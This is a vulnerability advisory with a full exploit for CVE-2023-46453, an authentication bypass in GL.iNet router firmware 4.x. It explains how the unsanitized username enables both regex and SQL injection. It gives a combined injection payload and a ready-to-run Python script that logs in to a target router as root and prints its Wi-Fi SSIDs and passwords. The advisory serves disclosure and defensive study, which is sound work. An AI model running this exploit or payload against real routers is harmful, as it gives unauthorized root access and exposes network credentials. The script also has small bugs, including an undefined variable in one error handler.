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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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DZONERZY Security Research

GLiNet: Router Authentication Bypass

========================================================================
Contents
========================================================================

1. Overview
2. Detailed Description
3. Exploit
4. Timeline

========================================================================
1. Overview
========================================================================

CVE-2023-46453 is a remote authentication bypass vulnerability in the web
interface of GLiNet routers running firmware versions 4.x and up. The
vulnerability allows an attacker to bypass authentication and gain access
to the router's web interface.

========================================================================
2. Detailed Description
========================================================================

The vulnerability is caused by a lack of proper authentication checks in
/usr/sbin/gl-ngx-session file. The file is responsible for authenticating
users to the web interface. The authentication is in different stages.

Stage 1:

During the first stage the user send a request to the challenge rcp
endpoint. The endpoint returns a random nonce value used later in the
authentication process.

Stage 2:

During the second stage the user sends a request to the login rcp endpoint
with the username and the encrypted password. The encrypted password is
calculated by the following formula:

md5(username + crypt(password) + nonce)

The crypt function is the standard unix crypt function.

The vulnerability lies in the fact that the username is not sanitized
properly before being passed to the login_test function in the lua script.

------------------------------------------------------------------------
local function login_test(username, hash)
    if not username or username == "" then return false end

    for l in io.lines("/etc/shadow") do
        local pw = l:match('^' .. username .. ':([^:]+)')
        if pw then
            for nonce in pairs(nonces) do
                if utils.md5(table.concat({username, pw, nonce}, ":")) ==
hash then
                    nonces[nonce] = nil
                    nonce_cnt = nonce_cnt - 1
                    return true
                end
            end
            return false
        end
    end

    return false
end
------------------------------------------------------------------------

This script check the username against the /etc/shadow file. If the username
is found in the file the script will extract the password hash and compare
it to the hash sent by the user. If the hashes match the user is
authenticated.

The issue is that the username is not sanitized properly before being
concatenated with the regex. This allows an attacker to inject a regex into
the username field and modify the final behavior of the regex.

for instance, the following username will match the userid of the root user:

root:[^:]+:[^:]+ will become root:[^:]+:[^:]+:([^:]+)


This will match the "root:" string and then any character until the next ":"
character. This will cause the script skip the password and return the
user id instead.

Since the user id of the root user is always 0, the script will always
return:

md5("root:[^:]+:[^:]+" + "0" + nonce)

Since this value is always the same, the attacker can simply send the known
hash value to the login rcp endpoint and gain access to the web interface.

Anyway this approach won't work as expected since later in the code inside
the
this check appear:

------------------------------------------------------------------------
    local aclgroup = db.get_acl_by_username(username)

    local sid = utils.generate_id(32)

    sessions[sid] = {
        username = username,
        aclgroup = aclgroup,
        timeout = time_now() + session_timeout
    }
------------------------------------------------------------------------

The username which is now our custom regex will be passed to the
get_acl_by_username
function. This function will check the username against a database and
return the aclgroup associated with the username.
If the username is not found in the database the function will return nil,
thus causing attack to fail.

By checking the code we can see that the get_acl_by_username function is
actually appending our raw string to a query and then executing it.
This means that we can inject a sql query into the username field and
make it return a valid aclgroup.

------------------------------------------------------------------------
M.get_acl_by_username = function(username)
    if username == "root" then return "root" end

    local db = sqlite3.open(DB)
    local sql = string.format("SELECT acl FROM account WHERE username =
'%s'", username)

    local aclgroup = ""

    for a in db:rows(sql) do
        aclgroup = a[1]
    end

    db:close()

    return aclgroup
end
------------------------------------------------------------------------

Using this payload we were able to craft a username which is both a valid
regex and a valid sql query:

roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+

this will make the sql query become:

SELECT acl FROM account WHERE username = 'roo[^'union selecT
char(114,111,111,116)--]:[^:]+:[^:]+'

which will return the aclgroup of the root user (root).

========================================================================
3. Exploit
========================================================================

------------------------------------------------------------------------
# Exploit Title: [CVE-2023-46453] GL.iNet - Authentication Bypass
# Date: 18/10/2023
# Exploit Author: Daniele 'dzonerzy' Linguaglossa
# Vendor Homepage: https://www.gl-inet.com/
# Vulnerable Devices:
#   GL.iNet GL-MT3000 (4.3.7)
#   GL.iNet GL-AR300M(4.3.7)
#   GL.iNet GL-B1300 (4.3.7)
#   GL.iNet GL-AX1800 (4.3.7)
#   GL.iNet GL-AR750S (4.3.7)
#   GL.iNet GL-MT2500 (4.3.7)
#   GL.iNet GL-AXT1800 (4.3.7)
#   GL.iNet GL-X3000 (4.3.7)
#   GL.iNet GL-SFT1200 (4.3.7)
#   And many more...
# Version: 4.3.7
# Firmware Release Date: 2023/09/13
# CVE: CVE-2023-46453

from urllib.parse import urlparse
import requests
import hashlib
import random
import sys


def exploit(url):
    try:
        requests.packages.urllib3.disable_warnings()
        host = urlparse(url)
        url = f"{host.scheme}://{host.netloc}/rpc"
        print(f"[*] Target: {url}")
        print("[*] Retrieving nonce...")
        nonce = requests.post(url, verify=False, json={
            "jsonrpc": "2.0",
            "id": random.randint(1000, 9999),
            "method": "challenge",
            "params": {"username": "root"}
        }, timeout=5).json()
        if "result" in nonce and "nonce" in nonce["result"]:
            print(f"[*] Got nonce: {nonce['result']['nonce']} !")
        else:
            print("[!] Nonce not found, exiting... :(")
            sys.exit(1)
        print("[*] Retrieving authentication token for root...")
        md5_hash = hashlib.md5()
        md5_hash.update(
            f"roo[^'union selecT
char(114,111,111,116)--]:[^:]+:[^:]+:0:{nonce['result']['nonce']}".encode())
        password = md5_hash.hexdigest()
        token = requests.post(url, verify=False, json={
            "jsonrpc": "2.0",
            "id": random.randint(1000, 9999),
            "method": "login",
            "params": {
                "username": f"roo[^'union selecT
char(114,111,111,116)--]:[^:]+:[^:]+",
                "hash": password
            }
        }, timeout=5).json()
        if "result" in token and "sid" in token["result"]:
            print(f"[*] Got token: {token['result']['sid']} !")
        else:
            print("[!] Token not found, exiting... :(")
            sys.exit(1)
        print("[*] Checking if we are root...")
        check = requests.post(url, verify=False, json={
            "jsonrpc": "2.0",
            "id": random.randint(1000, 9999),
            "method": "call",
            "params": [token["result"]["sid"], "system", "get_status", {}]
        }, timeout=5).json()
        if "result" in check and "wifi" in check["result"]:
            print("[*] We are authenticated as root! :)")
            print("[*] Below some info:")
            for wifi in check["result"]["wifi"]:
                print(f"[*] --------------------")
                print(f"[*] SSID: {wifi['ssid']}")
                print(f"[*] Password: {wifi['passwd']}")
                print(f"[*] Band: {wifi['band']}")
            print(f"[*] --------------------")
        else:
            print("[!] Something went wrong, exiting... :(")
            sys.exit(1)
    except requests.exceptions.Timeout:
        print("[!] Timeout error, exiting... :(")
        sys.exit(1)
    except KeyboardInterrupt:
        print(f"[!] Something went wrong: {e}")


if __name__ == "__main__":
    print("GL.iNet Auth Bypass\n")
    if len(sys.argv) < 2:
        print(
            f"Usage: python3 {sys.argv[1]} https://target.com",
file=sys.stderr)
        sys.exit(0)
    else:
        exploit(sys.argv[1])
------------------------------------------------------------------------

========================================================================
4. Timeline
========================================================================

2023/09/13 - Vulnerability discovered
2023/09/14 - CVE-2023-46453 requested
2023/09/20 - Vendor contacted
2023/09/20 - Vendor replied
2023/09/30 - CVE-2023-46453 assigned
2023/11/08 - Vulnerability patched and fix released